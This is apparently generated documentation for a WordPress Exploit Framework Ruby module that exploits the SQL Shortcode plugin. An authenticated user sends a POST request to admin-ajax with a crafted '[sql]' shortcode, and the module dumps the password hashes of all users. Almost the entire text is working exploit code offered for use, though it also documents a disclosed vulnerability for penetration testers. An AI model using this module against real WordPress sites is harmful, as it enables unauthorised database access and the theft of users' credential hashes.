class Wpxf::Auxiliary::SqlShortcodeHashDump

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::HashDump::new
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 6
def initialize
  super

  update_info(
    name: 'SQL Shortcode Authenticated Hash Dump',
    desc: %(
      SQL Shortcode allows registered users of any level to execute
      arbitrary SQL queries against the database.

      This module utilises this design flaw to dump the hashed passwords
      of all users in the database.
    ),
    author: [
      'Paul Dannewitz', # Disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['WPVDB', '8904']
    ],
    date: 'Sept 02 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 29
def check
  check_plugin_version_from_readme('sql-shortcode')
end
hashdump_number_of_cols() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 52
def hashdump_number_of_cols
  1
end
hashdump_request_body() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 41
def hashdump_request_body
  {
    'action'    => 'parse-media-shortcode',
    'shortcode' => "[sql]#{hashdump_sql_statement}[/sql]"
  }
end
hashdump_request_method() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 37
def hashdump_request_method
  :post
end
hashdump_visible_field_index() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 48
def hashdump_visible_field_index
  0
end
requires_authentication() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 33
def requires_authentication
  true
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/auxiliary/hash_dump/sql_shortcode_hash_dump.rb, line 56
def vulnerable_url
  wordpress_url_admin_ajax
end